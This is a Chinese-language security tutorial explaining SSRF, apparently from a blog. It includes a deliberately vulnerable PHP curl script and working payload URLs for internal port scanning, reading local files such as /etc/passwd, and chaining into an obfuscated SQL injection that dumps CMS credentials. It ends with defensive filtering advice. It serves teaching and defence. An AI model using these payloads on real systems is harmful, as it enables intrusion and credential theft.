【WEB漏洞原理】SSRF 服务端请求伪造

1、SSRF概述

服务器会根据用户提交的URL 发送一个HTTP 请求。使用用户指定的URL,Web 应用可以获取图片或者文件资源等。典型的例子是百度识图功能

在这里插入图片描述

如果没有对用户提交URL 和远端服务器所返回的信息做合适的验证或过滤,就有可能存在“请求伪造”的缺陷。“请求伪造”,顾名思义,攻击者伪造正常的请求,以达到攻击的目的。如果“请求伪造”发生在服务器端,那这个漏洞就叫做“服务器端请求伪造”,英文名字Server Side Request Forgery,简称SSRF

SSRF 是一种由攻击者发起的伪造服务器发送的请求的一种攻击。、

1.1、场景

1.1.1、PHP代码实现

利用curl 实现,需要PHP 扩展组件curl 支持

<?php

//	ssrf_curl.php

if(isset($_REQUEST['url'])){
	$link = $_REQUEST['url'];
	$fileName = './curled/'.time().".txt";
	$curlObj = curl_init($link);
	$fp = fopen($fileName,'w');
	
	curl_setopt($curlObj,CURLOPT_FILE,$fp);
	curl_setopt($curlObj,CURLOPT_HEADER,0);
	curl_setopt($curlObj,CURLOPT_FOLLOWLOCATION,TRUE);
	
	curl_exec($curlObj);
	curl_close($curlObj);
	fclose($fp);
	
	if(getimagesize($fileName)){
		header("Content-Type:image/png");
	}
	
	$fp = fopen($fileName,'r');
	$result = fread($fp,filesize($fileName));
	fclose($fp);
	echo $result;
}else{
	echo "?url=[url]";
}
?>

image-20230904155201139

1.2、SSRF原理

服务器接受了来自于客户端的URL 地址,并由服务器发送该URL 请求

对用户输入的URL 没有进行恰当的过滤,导致任意URL 输入

没对响应的结果进行检验,直接输出

1.3、SSRF危害

  • 端口扫描;
  • 内网Web 应用指纹识别;
  • 攻击内网应用;
  • 读取本地文件

2、SSRF攻防

2.1、SSRF利用

2.1.1、文件访问
?url=http://www.baidu.com
?url=http://www.baidu.com/img/bd_logo.png
?url=http://www.baidu.com/robots.txt

image-20230904155229695

2.1.2、端口扫描
?url=http://127.0.0.1:80
?url=http://127.0.0.1:3306
?url=dict://127.0.0.1:3306
?url=http://10.10.10.1:22
?url=http://10.10.10.1:6379
2.1.3、读取本地文件
?url=file:///c:/windows/system32/drivers/etc/hosts
?url=file:///etc/passwd
?url=file:/c:/phpStudy/www/ssrf/ssrf_curl.php

image-20230904155430973

image-20230904155707801

2.1.4、内网应用指纹识别

有些应用是部署在内网的

<Directory "c:\phpStudy\www\phpMyAdmin">
	#Order allow,deny
	Order deny,allow
	deny from all
	allow from 127.0.0.1
</Directory>

# 拒绝所有,只允许127.0.0.1访问
# 在httpd.conf文件里添加配置

image-20230904160002184

设置后不能通过其他IP地址访问到phpMyAdmin,只能通过127.0.0.1去访问

内网应用指纹识别

?url=http://127.0.0.1/phpMyAdmin

image-20230904160158077

?url=http://127.0.0.1/phpmyadmin/readme

image-20230904160303291

2.1.5、攻击内网Web应用

内网安全通常都很薄弱

<Directory "c:\phpStudy\www\cms">
    #Order allow,deny
    Order deny,allow
    deny from all
    allow from 127.0.0.1
</Directory>

image-20230904160350347

通过SSRF 漏洞可以实现对内网的访问,从而可以攻击内网应用。仅仅通过GET 方法可以攻击的内网Web 应用有很多

空格 用 /**/ 表示

?url=http://127.0.0.1/cms/show.php?
id=-33/*S*/union/*A*/select/*U*/1,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15/*R*/from/*Y*/cms_users

?url=http://127.0.0.1/cms/show.php?
id=-33%25%32%30union%25%32%30select%25%32%301,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15%25%32
%30from%25%32%30cms_users

image-20230904161439960

2.2、SSRF示例

Weblogic SSRF to GetShell

2.3、SSRF防御

2.3.1、过滤输入
  • 限制协议,仅允许 httphttps 协议;
  • 限制IP,避免应用被用来获取内网数据,攻击内网;
  • 限制端口,限制请求端口为常用端口
2.3.2、过滤输出
  • 过滤返回信息,只要不符合要求的,全部过滤;
  • 统一错误信息,让攻击无法对内网信息进行判断

3、SSRF挖掘

Web功能URL关键字
分享
转码服务
在线翻译
图片加载与下载
图片、文章收藏功能
未公开的API 实现
share
wap
url
link
src
source
target
u
3g
display
sourceURL
imageURL
domain
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

过期的秋刀鱼-

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值